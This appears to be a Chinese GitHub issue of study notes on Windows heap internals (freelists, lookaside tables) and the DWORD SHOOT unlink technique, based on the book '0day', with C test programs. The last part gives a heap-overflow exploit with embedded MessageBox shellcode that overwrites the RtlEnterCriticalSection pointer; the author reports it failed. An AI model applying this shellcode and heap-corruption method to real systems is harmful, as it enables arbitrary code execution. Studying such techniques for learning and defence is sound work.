xinali/articles

Windows堆溢出

xinali opened this issue · 0 comments

堆溢出

堆结构

堆和栈的结构差异很大,堆的分配以块为单位,分为块首和块身,对堆操作使用的指针一般指向块身起始位置。堆块和堆表组成一个堆,不同类型的堆表将堆在逻辑上分为不同的部分,重要的堆表(只索引空闲堆块)有两种:空表(freelist)和快表(lookaside)。

占用态堆块结构

空闲态堆块

可以看出空闲状态下是有前后块指针的,占用态没有

空表

由空闲堆块组成的双向链表,空表总共有128条,具体结构如下图

空表连接的都是空闲堆块,某个块被分配使用时,空表就会将该块从表中摘除,当被释放后,又会再次连接到空表上
通过0day中给出的代码进行一段测试,测试代码:

#include <windows.h>
main()
{
	HLOCAL h1,h2,h3,h4,h5,h6;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	__asm int 3

	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,3);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,5);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,6);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h5 = HeapAlloc(hp,HEAP_ZERO_MEMORY,19);
	h6 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
	
	//free block and prevent coaleses
	HeapFree(hp,0,h1); //free to freelist[2] 
	HeapFree(hp,0,h3); //free to freelist[2] 
	HeapFree(hp,0,h5); //free to freelist[4]
	
	HeapFree(hp,0,h4); //coalese h3,h4,h5,link the large block to freelist[8]
	
	return 0;
}

按照0day书上的环境,并设置好后,od成功拦截

分配的堆的首地址0x00310000,其中位移0x178处指向分配的空表的尾块0x0688,再看0x688处的数据

其中0x688指的是其数据部分,它的块首是向前8个字节0x680,根据其c源码,每个HeapAlloc分配的空间如下

空表分配

根据空表的分配规则,以及上节中得出的每个块应该分配的大小,可以得出如下的分配地址列表


再通过od进行验证

H1

H2

H3


H4

H5

H6

可以发现每一步跟我们根据规则画出来的分配都是相同的

空表释放与合并

第一步,释放H1,空闲空间是8bytes,所以其释放完后应该挂在free[1]上

未释放前free[1]应该是这样的

+------+------+------+
|      | 0188 | 0188 |
+------+------+------+

验证一下

Free,根据规则应该是这样的

0188
+------+------+------+
|      | 0xxx | 0688 |<----+
+------+------+------+     |
                           |
0688                       |           
+------+------+------+     |
|      | 0188 | 0188 |-----+
+------+------+------+

free1的后指针指向0x688这个堆块,堆块的前后指针均指向0188,验证一下

释放H3

0188
+------+------+------+
|      | 0xxx | 0688 |<----+
+------+------+------+     |                       
0688                       |           
+------+------+------+     |
|      | 0188 | 06A8 |<----+
+------+------+------+     | 
06A8                       |           
+------+------+------+     |
|      | 0688 | 0188 |-----+
+------+------+------+

free[1]后挂了两块不连续的空闲块!验证一下

释放H5
根据规则,我们可以得出

01A8
+------+------+------+
|      | 0xxx | 06C8 |<----+
+------+------+------+     |
                           |
06C8                       |           
+------+------+------+     |
|      | 01A8 | 01A8 |-----+
+------+------+------+

但是结果跟猜想的不一样

按照0day书中所说,

0178 -> free[0] 跟着大块
0188 -> free[1] 跟着8bytes
0198 -> free[2] 跟着16bytes
01A8 -> free[3] 跟着24bytes
01B8 -> free[4] 跟着32bytes

但是这里却不是01A8,而是0198,没有弄明白是为什么。。。。。

释放H4
因为H3,H4,H5是连在一起的,所以需要合并,合并的总空间是32个空闲字节,所以应该挂在01B8即free[4]上

01A8
+------+------+------+
|      | 0xxx | 06A8 |<----+
+------+------+------+     |
                           |
06A8                       |           
+------+------+------+     |
|      | 01B8 | 01B8 |-----+
+------+------+------+

验证一下

空表的分配,释放和合并分析完毕!

快表

根据0day书中的描述,开始时快表是空的,堆管理器首先从空表上分配给HeapAlloc,等到HeapFree释放空间再将其链入快表中。利用如下代码进行测试

#include <stdio.h>
#include <windows.h>
void main()
{
	HLOCAL h1,h2,h3,h4;
	HANDLE hp;
	hp = HeapCreate(0,0,0);
	__asm int 3
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	h4 = HeapAlloc(hp,HEAP_ZERO_MEMORY,24);
	HeapFree(hp,0,h1);
	HeapFree(hp,0,h2);
	HeapFree(hp,0,h3);
	HeapFree(hp,0,h4);
	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16);
	HeapFree(hp,0,h2);
}

查看一下偏移位置0x178

可以看到已经不是0x00310688了,变为了0x00311E90,再来看看0x688处的快表,根据0day书中所说lookaside从0x6B8开始,每48个字节算一个lookaside首项,现在lookaside[1]等都是0

往下依次类推。等到第一次HeapFree之后再看

已经得到了分配后释放的堆块,并且链入了快表,再看释放4次之后

可以看到0x6E8处的值,经过4次释放变为00311EA0,再看一下00311EA0

其指向了第一次释放的位置,由此可知后释放的空间会插入先前插入的位置的前面。再次分配会优先分配快表

分配16字节之后,lookaside[2]不再有空间。快表的分配,释放分析结束

DWORD SHOOT

空表由双向链表构成,双向链表在拆卸的过程中会发生如下的操作

int  remove (ListNode *node) 
{
    node->blink->flink = node->flink; 
    node->flink->blink = node->blink;
    return 0;
}

具体的操作可以参照0day中的图,如下

其实总结起来就是[blink]=flink数据

测试地址写入

测试代码

#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

int main()
{
	HLOCAL h1=0,h2=0;
	HANDLE hp;
	hp=HeapCreate(0,0x1000,0x10000);
	__asm int 3;
	h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	
	memcpy(h1,shellcode,200);
	h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

	return 0;
}

根据DWORD SHOOT的定义,我们人为的构造一下,将8888888写入地址00000022

产生错误

可以看出是前向指针中的数据写入了后向指针中所表示的地址。

测试MessageBOx弹窗

这里主要依据的就是windows为了同步进程中的多个线程,使用了一些同步措施,如锁机制,信号量等,当进程退出时,ExitProcess函数需要做很多的工作,其中就会用到RtlEnterCriticalSectionRtlLeaveCriticalSection,指向前一个函数的指针存放在0x7FFDF020,即进程退出时会到这个地址取出RtlEnterCriticalSection函数的指针,并执行该函数,所以我们需要利用堆溢出中的DWORD SHOOT技术将shellcode的地址写入0x7FFDF020中。

找到RtlEnterCriticalSection函数地址

地址为0x77F82060,再确定shellcode的地址,具体测试代码如下

#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xb8\x20\xf0\xfd\x7f"
"\xbb\x60\x20\xf8\x77"		// RtlEnterCriticalSection的地址0x77f86020通过调试得到, 用来使shellcode调用ExitProcess时不产生异常
"\x89\x18"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x30\x75\x6e\x67\x68\x77\x6f\x6f\x79\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"
"\x88\x06\x31\x00\x20\xf0\xfd\x7f";		// 0x00310688 shellcode起始地址, 0x7ffdf020 RtlEnterCriticalSection的指针地址(固定不变)

int main()
{
	HLOCAL h1=0,h2=0;
	HANDLE hp;
	hp=HeapCreate(0,0x1000,0x10000);
	//__asm int 3;
	//EnterCriticalSection(0);
	h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	
	memcpy(h1,shellcode,0x200);
	h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);

	return 0;
}

但是测试过程中始终失败,具体也找不到什么原因。